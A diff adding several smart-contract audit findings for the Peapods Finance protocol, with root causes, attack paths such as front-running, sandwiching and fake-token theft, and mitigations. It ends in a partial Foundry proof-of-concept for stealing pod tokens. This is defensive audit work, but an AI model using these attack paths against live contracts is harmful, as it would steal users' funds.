+https://docs.peapods.finance/links/contract-addresses has the currently listed pools on uniswap and as we can see on the Arbitrum one (which will be deployed as per Sherlock's contest page), the pool there is 0.3% and no 1% pool exists.
+
+This will make it such that the function currently can't run on Arbitrum, thus resulting in a broken functionality
+
+### Root Cause
+
+The root cause is that on Arbitrum, no pool with the 1% pool fee tier exists, only with the 0.3% which will result in a revert in its current implementation as we pass the hardcoded 1% fee (as seen in `_swapForRewards()` which is called internally in the function that I mentioned in the title)
+
+### Internal Pre-conditions
+
+The report is valid for Arbitrum exclusively as of now
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Someone calls the `debond()` function, which then calls `_processPreSwapFeesAndSwap() and inside of it `_feeSwap()` which calls `ITokenRewards(_rewards).depositFromPairedLpToken(0);` to swap the paired lp into the rewards token, but this will revert because no uni v3 pool with 1% tier exists on arbitrum, thus the user will be unable to debond
+
+### Impact
+
+Users is unable to debond his pod's token on Arbitrum, thus getting DoSed when trying to swap with a hardcoded 1% on Arbitrum.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+User can't debond and is stucked due to hardcoded 1% and no possibility of it changing to 0.3%
\ No newline at end of file
diff --git a/408.md b/408.md
new file mode 100644
index 0000000..899f557
--- /dev/null
+++ b/408.md
@@ -0,0 +1,89 @@
+Boxy Charcoal Perch
+
+Medium
+
+# Any user can front-run rescueERC20 to claim tokens from the contract under certain conditions
+
+### Summary
+
+`Zapper::rescueERC20` allows the owner to rescue stuck tokens or donations to the contract , however if the token to be rescued is an intermediate token in any uniswapV2 swap path then a malicious user can front-run the transaction to claim the tokens.
+
+
+### Root Cause
+
+`Zapper::rescueERC20` can be called by the admin to rescue tokens from the contract as we see here:
+```solidity
+ function rescueERC20(IERC20 _token) external onlyOwner {
+ require(_token.balanceOf(address(this)) > 0);
+ _token.safeTransfer(owner(), _token.balanceOf(address(this)));
+ }
+```
+
+However, in `Zapper::_swapV2` if swap path is `twoHop` we notice that the contract balance of the intermediate token is swapped for the output token , here:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L206-L218
+```solidity
+ function _swapV2(address[] memory _path, uint256 _amountIn, uint256 _amountOutMin) internal returns (uint256) {
+ bool _twoHops = _path.length == 3;
+ address _out = _twoHops ? _path[2] : _path[1];
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ IERC20(_path[0]).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));
+ if (_twoHops) {
+ uint256 _intermediateBal = IERC20(_path[1]).balanceOf(address(this)); //<@
+ IERC20(_path[1]).safeIncreaseAllowance(address(DEX_ADAPTER), _intermediateBal);
+ DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, _amountOutMin, address(this));
+ }
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
+
+This means that if/when the token to be rescued is an intermediate token in any `twoHop` swap path ( i.e. swap involving 2 pools) , then an attacker can front-run the rescueERC20 transaction with a call to `addLpAndStake` such that the `_pairedLpTokenProvided` is the input token token in the `twoHop` swap path.
+By doing so, they're able swap the contracts balance of the intermediate token to the output token add and stake pod Lp, effectively claiming the tokens which they can then unstake and withdraw anytime.
+
+
+### Internal Pre-conditions
+
+reascue token is also an intermediate token in any v2 `twoHop` swap path
+
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+- Admin calls `Zapper::rescueERC20`
+- User front-runs the rescueERC20 call and calls `IndexUtils::addLpAndStake` with `_pairedLpTokenProvided` = input token in the swap path
+ The call path to `_swapV2` is: `IndexUtils::addLpAndStake` -> `Zapper::_zap` (when `pairedTokenProvided != pairedToken` of the pod) -> `Zapper::_swapV2`.
+
+
+### Impact
+
+Medium - loss of funds
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use the amount out for the intermediate swap, example:
+
+```diff
+ function _swapV2(address[] memory _path, uint256 _amountIn, uint256 _amountOutMin) internal returns (uint256) {
+ bool _twoHops = _path.length == 3;
+ address _out = _twoHops ? _path[2] : _path[1];
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ IERC20(_path[0]).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+- DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));
++ uint _intermediateBal = DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));
+ if (_twoHops) {
+- uint256 _intermediateBal = IERC20(_path[1]).balanceOf(address(this));
+ IERC20(_path[1]).safeIncreaseAllowance(address(DEX_ADAPTER), _intermediateBal);
+ DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, _amountOutMin, address(this));
+ }
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
\ No newline at end of file
diff --git a/409.md b/409.md
new file mode 100644
index 0000000..4c3b5a4
--- /dev/null
+++ b/409.md
@@ -0,0 +1,68 @@
+Colossal Eggplant Pig
+
+High
+
+# Incorrect Handling of Intermediate Token Balance in Two-Hop Swaps
+
+### Summary
+
+The [_swapV2()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L368) function improperly relies on the contract’s balance (balanceOf()) to determine the intermediate token amount for the second swap. This can lead to incorrect swap amounts if the contract holds residual tokens from previous transactions. The contract does not explicitly track the first swap’s output, leading to potential miscalculations in the second swap.
+
+### Root Cause
+
+The function [_swap()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L368) assumes that _intermediateBal (used in the second swap) is derived exclusively from the first swap.
+However, instead of tracking the actual received amount from the first swap, it defaults to reading balanceOf() of the intermediate token.
+If the contract already holds some of this token before the first swap executes (e.g., due to previous transactions, leftovers, airdrops, or user transfers), _intermediateBal becomes inaccurate, causing incorrect execution of the second swap.
+
+```solidity
+if (_twoHops) {
+ uint256 _intermediateBal = _amountOut > 0 ? _amountOut : IERC20(_path[1]).balanceOf(address(this));
+ if (maxSwap[_path[1]] > 0 && _intermediateBal > maxSwap[_path[1]]) {
+ _intermediateBal = maxSwap[_path[1]];
+ }
+ IERC20(_path[1]).safeIncreaseAllowance(address(DEX_ADAPTER), _intermediateBal);
+ _amountOut = DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, _amountOutMin, address(this));
+ }
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L368
+
+### Internal Pre-conditions
+
+1. First swap executes but does not track the actual received amount.
+2. _intermediateBal is read directly from balanceOf() instead of verifying the first swap’s output.
+3. If _amountOut = 0 from the first swap, it still proceeds using the potentially incorrect _intermediateBal.
+
+
+### External Pre-conditions
+
+The contract has a nonzero balance of _path[1] before execution, due to previous transactions, leftovers, airdrops, or user transfers.
+
+
+### Attack Path
+
+1. User/contract initiates a two-hop swap with _swapV2().
+2. First swap executes, but _amountOut is not explicitly tracked.
+3. Intermediate balance is determined via balanceOf(), which may include pre-existing tokens.
+4. Second swap executes based on incorrect _intermediateBal, potentially leading to over-swapping (excessive tokens swapped, impacting pricing) and incorrect swap calculations
+
+
+### Impact
+
+1. The second swap may be executed with an incorrect input amount, leading to unexpected outputs.
+2. Loss of funds.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Track the first swap’s actual output explicitly.
+
+```solidity
+uint256 _preSwapBal = IERC20(_path[1]).balanceOf(address(this));
+_amountOut = DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));
+uint256 _received = IERC20(_path[1]).balanceOf(address(this)) - _preSwapBal;
+require(_received > 0, "First swap failed");
+```
\ No newline at end of file
diff --git a/410.md b/410.md
new file mode 100644
index 0000000..cdce0b3
--- /dev/null
+++ b/410.md
@@ -0,0 +1,114 @@
+Festive Peanut Vulture
+
+Medium
+
+# MEV bots will extract unlimited value from users despite protocol's "small value" assumptions
+
+### Summary
+
+The combination of using `block.timestamp` as transaction deadlines and allowing unlimited slippage (0 minimum output) in DEX adapter contracts will cause significant value extraction for users as miners and MEV bots can manipulate transaction ordering and execute sandwich attacks without any economic protection mechanisms.
+
+### Root Cause
+
+The choice to implement unlimited slippage and use `block.timestamp` as deadline is a mistake as it removes two critical DeFi security protections: economic slippage guards and time-based execution boundaries. This is evidenced in multiple contracts:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol#L75-L76
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L49-L50
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L78-L79
+
+1. In `AerodromeDexAdapter.sol`, `CamelotDexAdapter.sol`, and `UniswapDexAdapter.sol`, all swap functions use `block.timestamp` as deadline:
+```solidity
+IAerodromeRouter(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _routes, _recipient, block.timestamp
+);
+```
+
+2. Protocol explicitly allows 100% slippage in certain functions, setting `_amountOutMin` to 0.
+
+### Internal Pre-conditions
+
+1. A transaction must be submitted using one of the DEX adapter contracts' swap functions
+2. The transaction must use the unlimited slippage option (where `_amountOutMin` = 0)
+3. The value of the transaction must be large enough to offset gas costs for MEV extraction
+
+### External Pre-conditions
+
+1. There must be sufficient liquidity in the relevant pools to execute sandwich attacks
+2. Gas prices must be low enough relative to potential MEV profit
+3. Block space must be available for sandwich attack transactions
+
+### Attack Path
+
+1. User submits a swap transaction with unlimited slippage through a DEX adapter
+2. MEV bot/miner detects the transaction in the mempool
+3. Bot/miner constructs a sandwich attack:
+ - Front-run: Buy the output token to increase price
+ - Target transaction executes with no slippage protection
+ - Back-run: Sell the output token for profit
+4. Transaction is included in block with manipulated ordering
+5. Due to `block.timestamp` deadline, the transaction must execute in the same block, giving user no chance to react
+
+
+### Impact
+
+Users are exposed to significant financial losses from MEV extraction due to the combination of unlimited slippage and `block.timestamp` deadlines, creating a optimal scenario for value extraction:
+
+1. Direct Financial Impact:
+- Users can experience losses up to 100% of their trade value due to no slippage protection
+- MEV bots can maximize extraction by sandwiching transactions without economic limits
+- The cumulative loss across all protocol users compounds over time
+- Even "small value" transactions become profitable targets when:
+ - Gas prices are low
+ - Multiple transactions can be bundled
+ - Complex MEV strategies are employed
+
+2. Systemic Protocol Risk:
+```solidity
+// Current implementation effectively says:
+if (block.timestamp <= block.timestamp) { // Always true
+ executeSwap(unlimited_slippage); // No protection
+}
+```
+This creates:
+- A systematic vulnerability affecting all users
+- No protection even for high-value transactions
+- Permanent MEV attack surface that scales with protocol usage
+
+1. Design Flaws:
+The development team's assumption that "transactions will be small enough to not be profitable for MEV" is fundamentally flawed because:
+- MEV extraction profitability is not solely based on individual transaction size
+- Bot operations are highly optimized for minimal profitable opportunities
+- Protocol growth will naturally lead to larger transaction values
+- The cost of implementing proper protections is negligible compared to risk
+
+2. Protocol Disadvantage:
+- Users may migrate to competing protocols with proper MEV protections
+- Protocol reputation could suffer from documented MEV losses
+
+3. Loss Scenarios:
+Even with "small" transactions:
+- 1,000 transactions × 2% average MEV extraction = 20% aggregate value loss
+- Flash loan leveraged attacks can amplify extraction
+- Sandwich attacks can compound with other MEV strategies
+- Market volatility increases potential extraction values
+
+The development team should reconsider this design choice because:
+1. "Small value" assumption doesn't hold against sophisticated MEV strategies
+2. Implementation of proper protections is standard practice and well-documented
+3. The risk/reward ratio heavily favors adding protection
+4. Current design violates core DeFi security principles
+5. Protocol growth will only increase the severity of this issue
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider implementing the following.
+
+1. Remove the unlimited Slippage Allowance.
+2. Implement user-specified deadlines.
+3. Add safety checks for larger transactions.
\ No newline at end of file
diff --git a/411.md b/411.md
new file mode 100644
index 0000000..717a1a9
--- /dev/null
+++ b/411.md
@@ -0,0 +1,97 @@
+Boxy Charcoal Perch
+
+Medium
+
+# No slippage protection in `AutoCompoundingPoolLp::_tokenToPairedLpToken`
+
+### Summary
+
+Lack of slippage protection in `AutoCompoundingPoolLp::_tokenToPairedLpToken` can lead to loss of rewards
+
+
+### Root Cause
+
+In `AutoCompoundingPoolLp::_tokenToPairedLpToken`
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L279-L286
+```solidity
+ function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ // ...SNIP...
+
+ uint256 _minSwap = 10 ** (IERC20Metadata(_rewardsToken).decimals() / 2);
+ _minSwap = _minSwap == 0 ? 10 ** IERC20Metadata(_rewardsToken).decimals() : _minSwap;
+ IERC20(_rewardsToken).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ try DEX_ADAPTER.swapV3Single(
+ _rewardsToken,
+ _swapOutputTkn,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ 0, // _amountOutMin can be 0 because this is nested inside of function with LP slippage provided <@
+ address(this)
+ ) returns (uint256 __amountOut) {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] = 0;
+ _amountOut = __amountOut;
+
+
+ // if this is a self-lending pod, convert the received borrow token
+ // into fTKN shares and use as the output since it's the pod paired LP token
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ } catch {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] =
+ _amountIn / 2 < _minSwap ? _minSwap : _amountIn / 2;
+ IERC20(_rewardsToken).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit TokenToPairedLpSwapError(_rewardsToken, _swapOutputTkn, _amountIn);
+ }
+ }
+```
+
+when converting from reward token to paired lp token, no slippage amount is provided. From the code comments here it is assummed that the function call is nested inside a function with Lp slippage so this is fine.
+However, this assumption is incorrect, we can see that Lp slippage is only enforced when the function is called via `processAllRewarsTokensToPodLp`/`setYieldConvEnabled`/`setProtocolFee` .
+
+However, when called via `deposit`/`withdraw`/`mint`/`redeem`,
+
+```solidity
+ function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);// <@
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+ }
+
+ function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);// <@
+ _shares = _convertToShares(_assets, Math.Rounding.Ceil);
+ _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
+ }
+```
+
+we see that `_processRewardsToPodLp` is called with 0 Lp slippage which means an attacker can still sandwich `deposit`/`withdraw` calls to the contract to cause maximum slippage when converting from reward token to paired lp token leading to a loss of rewards for users.
+
+
+### Internal Pre-conditions
+
+User calls `AutoCompoundingPoolLp::deposit`/`withdraw`/`mint`/`redeem`
+
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+Attacker sandwiches `deposit`/`withdraw` calls to the contract to cause maximum slippage when converting from reward token to paired lp token.
+
+
+### Impact
+
+Possible Loss of rewards
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/412.md b/412.md
new file mode 100644
index 0000000..0846dbe
--- /dev/null
+++ b/412.md
@@ -0,0 +1,57 @@
+Festive Peanut Vulture
+
+Medium
+
+# Non-compliant ERC20 tokens will cause addPair function to revert, blocking valid pair registration
+
+### Summary
+
+The assumption that all ERC20 tokens implement name() as a string return value will cause registration failures for valid Fraxlend pairs as non-compliant tokens (like MKR) that implement name() differently will cause the addPair function to revert.
+
+
+### Root Cause
+
+In `FraxlendPairRegistry.sol:98` the direct call to name() assumes a string return type without handling potential non-compliant ERC20 implementations:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairRegistry.sol#L90-L98
+
+```solidity
+string memory _name = IERC20Metadata(_pairAddress).name(); // Unsafe assumption
+```
+
+
+### Internal Pre-conditions
+
+1. Deployer needs to be whitelisted (deployers[msg.sender] == true)
+2. A Fraxlend pair needs to be deployed with a non-compliant ERC20 token that either:
+ - Implements name() as bytes32 instead of string
+ - Does not implement name() at all
+ - Implements name() but with potential reverts
+
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Deployer attempts to add a valid Fraxlend pair that uses a non-compliant ERC20 token (like MKR) to the registry
+2. The addPair function attempts to call name() on the token
+3. The call fails due to type mismatch (bytes32 vs string) or missing implementation
+4. The entire addPair transaction reverts
+5. The valid pair cannot be registered in the system
+
+### Impact
+
+The protocol suffers from limited functionality as valid Fraxlend pairs using certain legitimate ERC20 tokens cannot be registered in the system. This impacts:
+- Protocol growth by blocking valid pair registrations
+- Restricts user access to legitimate trading pairs
+- Limits the protocol's ability to support the broader ERC20 token ecosystem
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/413.md b/413.md
new file mode 100644
index 0000000..68967da
--- /dev/null
+++ b/413.md
@@ -0,0 +1,59 @@
+Nutty Spruce Octopus
+
+Medium
+
+# Users will suffer losses due to incorrect oracle price validation
+
+### Summary
+
+The improper boundary check on Chainlink oracle price limits will cause an invalid price to be considered valid for Peapods users as they may use an oracle feed where `minAnswer` or `maxAnswer` are set, and the contract does not correctly reject boundary values.
+
+### Root Cause
+
+In `_isValidAnswer()` function, the contract checks whether `_answer` is strictly greater than `maxAnswer` or strictly less than `minAnswer`, but does not reject cases where `_answer` is exactly equal to these limits:
+```solidity
+function _isValidAnswer(address _feed, int256 _answer) internal view returns (bool _isValid) {
+ _isValid = true;
+ int192 _min = IOffchainAggregator(IEACAggregatorProxy(_feed).aggregator()).minAnswer();
+ int192 _max = IOffchainAggregator(IEACAggregatorProxy(_feed).aggregator()).maxAnswer();
+
+ if (_answer > _max || _answer < _min) {
+ _isValid = false;
+ }
+}
+```
+
+[ChainlinkSinglePriceOracle._isValidAnswer:112](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/oracle/ChainlinkSinglePriceOracle.sol#L112-L112)
+
+Since Peapods is a permissionless protocol, users may configure a price feed where these limits exist. If the market price experiences a sudden shift beyond reasonable limits, an incorrect price could still be accepted, leading to losses.
+
+### Internal Pre-conditions
+
+1. A Peapods user must configure a price feed that has `minAnswer` and/or `maxAnswer` set.
+2. The price returned by the oracle must be exactly equal to `minAnswer` or `maxAnswer`.
+3. The contract does not reject these boundary values, leading to an incorrect price being considered valid.
+
+### External Pre-conditions
+
+1. A Chainlink price feed must have `minAnswer` and `maxAnswer` values set.
+2. A market event must occur causing the oracle price to hit exactly `minAnswer` or `maxAnswer`.
+
+### Attack Path
+
+1. A Peapods user configures a price feed that has `minAnswer` and/or `maxAnswer` set.
+2. A significant market movement occurs, causing the price to hit exactly `minAnswer` or `maxAnswer`.
+3. The `_isValidAnswer()` function incorrectly considers this price as valid.
+4. Transactions relying on this price proceed under false assumptions, leading to incorrect calculations and potential losses.
+
+### Impact
+
+Peapods users suffer a potential loss as transactions relying on price feeds may be executed with invalid prices, leading to incorrect asset valuations.
+
+### PoC
+
+See Root Cause
+
+### Mitigation
+
+_No response_
+
diff --git a/414.md b/414.md
new file mode 100644
index 0000000..a4fd17e
--- /dev/null
+++ b/414.md
@@ -0,0 +1,51 @@
+Festive Peanut Vulture
+
+Medium
+
+# Non-compliant ERC20 tokens will cause price oracle function to revert affecting protocol operations
+
+### Summary
+
+Assumption of standard ERC20 metadata implementation will cause price oracle functionality to fail for non-compliant tokens (like MKR) as the `getPriceUSD18` function will revert when attempting to call `symbol()` on tokens that return bytes32 instead of string.
+
+
+### Root Cause
+
+In `DIAOracleV2SinglePriceOracle.sol:19` the direct call to `symbol()` assumes all ERC20 tokens implement the metadata extension with string return type, which is not true for some tokens like MKR that use bytes32.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/DIAOracleV2SinglePriceOracle.sol#L13-L19
+
+
+
+### Internal Pre-conditions
+
+1. Protocol needs to integrate a non-compliant ERC20 token (like MKR) as a `_quoteToken`
+2. The non-compliant token must implement `symbol()` returning bytes32 instead of string
+
+### External Pre-conditions
+
+None
+
+
+### Attack Path
+
+1. Protocol integrates a non-compliant ERC20 token (e.g., MKR) as `_quoteToken`
+2. Any call to `getPriceUSD18()` with this token address will attempt to call `symbol()`
+3. The ABI decoder fails to handle the bytes32 return type when expecting string
+4. The entire function call reverts
+5. No price data can be retrieved for this token
+
+### Impact
+
+The protocol cannot obtain price data for non-compliant ERC20 tokens, breaking core oracle functionality for these assets. This impacts:
+1. Any protocol operations dependent on price feeds
+2. Integration capabilities with notable tokens like MKR
+3. Protocol's ability to support a wider range of assets
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/415.md b/415.md
new file mode 100644
index 0000000..baa50db
--- /dev/null
+++ b/415.md
@@ -0,0 +1,46 @@
+Genuine Carrot Goat
+
+Medium
+
+# The debond fee in an early withdrawal uses a small precision, opening the door for rounding issues.
+
+### Summary
+
+During locking and debonding, if we want to initiate a premature withdrawal, etc an early withdrawal, we will tax the user with a fee + 10% of the fee.
+
+The fee is using 1e5 for 100%.
+
+Let's say that the user has configured the index fund in such a way that the debond fee is 0.67% = the number of 67.
+
+If we divide 67 by 10, the rounding will make the result 6 instead of 6.7, thus making the second fee a little bit less than intended and making the total fee 0.67% + 0.06%, instead of 0.67% + 0.067%.
+
+### Root Cause
+
+The low precision used for the second fee as seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L125-L126) and the early withdrawal functionality, opening the door for rounding issues as can be seen when dividing it by ten.
+
+### Internal Pre-conditions
+
+The debond fee needs to have a remainder
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Bob debonds and locks his pod tokens
+2. Two days later, Bob needs those money urgently, which are the bug sum of $200k, so he decides to initiate an early withdrawal via `earlyWithdraw()`, but due to the rounding, the fee is going to be less, instead of the 0.677%, the fee will be a little less -> 0.67%,
+which on $200k will be a difference of exactly $14, causing a loss to the protocol due to a smaller fee
+Remember, this will happen on every single call to `earlyWithdrawal()` and will result in thousands of dollars of losses in the lifecycle of the dApp.
+
+### Impact
+
+0.677% and 0.67% fee is more than 1% of a difference between the fees themselves, as well as more than $10 of losses results in a medium severity due to the constrains of the finding.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Account the precision losses when calculating the second fee in the early withdrawal process
\ No newline at end of file
diff --git a/416.md b/416.md
new file mode 100644
index 0000000..07b01e8
--- /dev/null
+++ b/416.md
@@ -0,0 +1,89 @@
+Boxy Charcoal Perch
+
+High
+
+# `AutoCompoundingPodlLp` does not support self-lending Pod with podded pair
+
+### Summary
+
+`AutoCompoundingPodlLp` does not support self-lending Pods with podded pair and as a result LVF(leveraged volatility farming) cannot be used on these Pods even though they are supported by `LeverageManager`
+
+
+### Root Cause
+
+There are 2 types of self-lending Pods
+
+1. self-lending pod with fToken(lending-pair) pair
+2. self-lending pod with podded fToken(lending-pair) pair.
+
+While both of these are supported by `LeverageManager` , `AutoCompoundingPodlLp` only supports self-lending pods with fToken(lending-pair) pair.
+The issue here is that `AutoCompoundingPodlLp`(**aspTkn**) is **required** for leveraged volatility farming, meaning that self-lending pods with podded fToken pair cannot be used for LVF.
+
+**Where or How exactly does `AutoCompoundingPodlLp` not support self-lending pods with podded fToken pair?**
+In `AutoCompoundingPodlLp::_tokenToPairedLpToken` a function that converts reward tokens to the paired token of the Pod, as seen here:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L261
+
+```solidity
+function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ address _swapOutputTkn = _pairedLpToken;
+ if (_token == _pairedLpToken) {
+ return _amountIn;
+ } else if (maxSwap[_token] > 0 && _amountIn > maxSwap[_token]) {
+ _amountIn = maxSwap[_token];
+ }
+
+ // if self lending pod, we need to swap for the lending pair borrow token,
+ // then deposit into the lending pair which is the paired LP token for the pod
+ if (IS_PAIRED_LENDING_PAIR) {
+ _swapOutputTkn = IFraxlendPair(_pairedLpToken).asset(); // <@ audit
+ }
+
+ address _rewardsToken = pod.lpRewardsToken();
+ if (_token != _rewardsToken) {
+ _amountOut = _swap(_token, _swapOutputTkn, _amountIn, 0);
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut); // <@ audit
+ }
+ return _amountOut;
+ }
+ //...SNIP...
+}
+
+function _depositIntoLendingPair(address _lendingPair, address _pairAsset, uint256 _depositAmt) internal returns (uint256 _shares) {
+ IERC20(_pairAsset).safeIncreaseAllowance(address(_lendingPair), _depositAmt);
+ _shares = IFraxlendPair(_lendingPair).deposit(_depositAmt, address(this)); // <@ audit
+}
+```
+
+As explained, there is no `asset` or `deposit` function in a Pod, so these function calls(only the first call is enough) will DOS any interaction with `AutoCompoundingPodlLp` if pod has podded fToken pair.
+
+It is important to note that this function is called internally on every `deposit`/`withdraw`/`mint`/`redeem` transaction to the `AutoCompoundingPodlLp` contract.
+
+
+### Internal Pre-conditions
+
+pod's PAIRED_LP_TOKEN is a podded fToken
+
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+NONE
+
+### Impact
+
+High - Broken functionality - the primary existence of self-lending pods is for LVF and Pods can't LVF without aspTkn(`AutoCompoundingPodlLp`)
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add support for self-lending Pods with podded pair
\ No newline at end of file
diff --git a/417.md b/417.md
new file mode 100644
index 0000000..5193d01
--- /dev/null
+++ b/417.md
@@ -0,0 +1,122 @@
+Rich Grey Crocodile
+
+High
+
+# User could specify their own fake pod in addLeverage and steal real pod tokens from the contract
+
+## Vulnerability Details
+
+In `addLeverage` these 2 lines uses the pod address specified by the user to transfer in tokens: https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L90-L91
+```solidity
+function addLeverage(
+ uint256 _positionId,
+ address _pod,
+ uint256 _pTknAmt,
+ uint256 _pairedLpDesired,
+ uint256 _userProvidedDebtAmt,
+ bool _hasSelfLendingPairPod,
+ bytes memory _config
+) external override workflow(true) {
+@-> uint256 _pTknBalBefore = IERC20(_pod).balanceOf(address(this));
+@-> IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _pTknAmt);
+ _addLeveragePreCallback(
+ _msgSender(),
+ _positionId,
+ _pod,
+--> IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore,
+ _pairedLpDesired,
+ _userProvidedDebtAmt,
+ _hasSelfLendingPairPod,
+ _config
+ );
+}
+```
+We can see that it allows the user to specify their pod address and transfer in from that pod address instead of using `positionProps[_positionId].pod`.
+
+It will also treat the "amount" transferred in as `IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore` which is passed on to the other function: `_addLeveragePreCallback`.
+
+However, in `_addLeveragePreCallback` onwards we can see that in this [line](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L291), `_pod` is set to `positionProps[_positionId].pod` and then it starts to use the address of `positionProps[_positionId].pod` afterwards.
+
+## Impact and attack path
+Hence, a malicious user could create their own worthless pod address token, specify it in `addLeverage`. Then the contract will pull in the tokens from the fake address, account it as the user has transferred in the intended pod token then carry out the leverage using the contract's pod balance.
+
+Here's a poc for a clearer attack path:
+First go to LeverageManager.t.sol and add the following imports:
+```solidity
+import "forge-std/console.sol";
+import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+
+contract fakeToken is ERC20 {
+ constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {
+ _mint(msg.sender, 100000e18);
+ }
+}
+```
+Then add:
+```solidity
+function test_addLeverage() public {
+ uint256 pTknAmt = 100 * 1e18;
+ uint256 pairedLpDesired = 50 * 1e18;
+ bytes memory config = abi.encode(0, 1000, block.timestamp + 1 hours);
+
+ deal(address(peas), address(this), pTknAmt * 100);
+ peas.approve(address(pod), peas.totalSupply());
+ pod.bond(address(peas), pTknAmt, 0);
+ IERC20(pod).transfer(address(leverageManager), pTknAmt); //existing pod token balance of LeverageManager.sol
+
+ vm.startPrank(ALICE);
+
+ // wrap into the pod
+
+ fakeToken fake = new fakeToken("bryh", "bruh");
+ fake.approve(address(leverageManager), type(uint256).max);
+
+ uint256 positionId = leverageManager.initializePosition(address(pod), ALICE, address(0), false);
+
+ uint256 alicePodTokenBalanceBefore = pod.balanceOf(ALICE);
+ uint256 aliceAssetBalanceBefore = IERC20(dai).balanceOf(ALICE);
+
+ leverageManager.addLeverage(positionId, address(fake), pTknAmt, pairedLpDesired, 0, false, config);
+
+ vm.stopPrank();
+
+ // Verify the position NFT was minted
+ assertEq(leverageManager.positionNFT().ownerOf(positionId), ALICE, "Position NFT not minted to ALICE");
+
+ // Verify the state of the LeverageManager contract
+ (address returnedPod, address lendingPair, address custodian, bool isSelfLending, bool hasSelfLendingPairPod) =
+ leverageManager.positionProps(positionId);
